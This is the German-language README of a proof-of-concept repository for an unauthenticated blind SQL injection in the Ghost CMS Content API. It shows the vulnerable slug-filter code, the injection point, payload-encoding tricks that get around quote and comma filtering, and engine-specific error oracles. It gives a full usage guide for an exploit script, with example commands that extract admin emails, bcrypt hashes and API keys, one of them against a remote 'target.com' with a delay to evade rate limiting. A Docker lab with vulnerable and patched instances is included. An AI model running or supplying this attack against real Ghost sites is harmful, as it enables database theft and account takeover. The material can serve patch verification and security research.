n0bitaemon/cve-2026-26980-pocGhost CMS Content API blinde SQL-Injection
Betroffen: Ghost 3.24.0 – 6.19.0
Behoben in: Ghost 6.19.1
Authentifizierung erforderlich: Keine — der Content-API-Schlüssel ist öffentlich
Auswirkung: Unauthentifiziertes Lesen der gesamten Datenbank (Anmeldedaten, API-Schlüssel)
slug-filter-order.js interpoliert vom Benutzer gelieferte Slug-Werte direkt in eine rohe SQL-ORDER BY-Klausel, anstatt parametrisierte Bindungen zu verwenden.
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ raw string interpolation
// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
Injektionspunkt:
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]
slug:['||<SQL_EXPR>||',<anchor-slug>]
Der injizierte Ausdruck fungiert als fehlerbasiertes boolesches Orakel.
| Engine | TRUE | FALSE |
|---|---|---|
| SQLite | hex(randomblob(10^15)) → OOM → HTTP 500 | ELSE 0 → HTTP 200 |
| MySQL | THEN 0 → HTTP 200 | EXP(710) overflow → HTTP 500 |
NQL-Einschränkungen — der SQL-Ausdruck innerhalb der eckigen Klammern darf keine einfachen Anführungszeichen (') oder Kommas (,) enthalten:
| Problem | SQLite-Lösung | MySQL-Lösung |
|---|---|---|
String-Literal 'content' | CHAR(99)||CHAR(111)||... | 0x636F6E74656E74 |
| Zeichen an Position N | Präfixbasierter String-Vergleich | ASCII(SUBSTR(x FROM N FOR 1)) |
||ist in SQLite die String-Verkettung, in MySQL jedoch das logische ODER — String-Literale müssen je nach Engine unterschiedlich kodiert werden.
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]
Required:
--url URL Ghost base URL (e.g. http://localhost:2368)
--key KEY Content API key
Optional:
--slug SLUG Anchor slug (auto-discovered from API if omitted)
--dbms {auto,sqlite,mysql} DB engine (default: auto-detect)
--delay N Seconds between requests — use to avoid HTTP 429 (default: 0)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
--validate-fix Test if the target is patched, then exit
Data flags (at least one required):
--email User email(s)
--hash User bcrypt hash(es)
--content-key Content API key(s)
--admin-key Admin API key(s)
--all Shorthand for --email --hash --content-key --admin-key
Modifier:
--all-records Extract ALL records for the selected flag(s) instead of first only
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--email --hash --no-proxy
# Extract everything, first record each
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --no-proxy
# Extract all Content API keys
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--content-key --all-records
# Extract ALL records of ALL data types
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --all-records
# Route through Burp proxy
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --proxy http://127.0.0.1:8080
# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
--url http://target.com \
--key <content_api_key> \
--all --dbms mysql --delay 0.5
# Verify the patched version is not exploitable
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key <content_api_key> \
--validate-fix
Ghost begrenzt Content-API-Anfragen standardmäßig per Rate-Limiting. Optionen:
--delay 0.5, um eine Verzögerung zwischen den Anfragen einzufügenAPI_RATE_LIMIT_ENABLED: "false" in der docker-compose-Umgebung und starte neuslug-filter-order.js in Ghost 6.18.0 → 6.19.1Nur als Referenz — überspringe diesen Abschnitt, wenn du bereits eine verwundbare Ghost-Instanz hast.
pip install requestsghost-cve-2026-26980/
├── mysql_docker-compose.yml # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml # Ghost + SQLite (default)
├── mysql-init/
│ └── 01-init.sql # creates ghost_patch DB, grants access
├── vulnerable/
│ └── Dockerfile # Ghost 6.18.0
├── patched/
│ └── Dockerfile # Ghost 6.19.1
└── exploit/
└── exploit.py
Beide Compose-Dateien stellen folgende URLs bereit:
http://localhost:2368 — verwundbar (Ghost 6.18.0)http://localhost:2369 — gepatcht (Ghost 6.19.1)docker compose -f sqlite_docker-compose.yml up -d
docker compose -f mysql_docker-compose.yml up -d
MySQL-Zugangsdaten: host=localhost:3306 user=ghost password=ghostpass
Datenbanken: ghost_vuln (Port 2368) / ghost_patch (Port 2369)
Warte ~60 s, bis Ghost initialisiert ist, dann:
http://localhost:2368/ghost auf — erstelle ein Admin-Konto und veröffentliche mindestens einen Beitrag# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d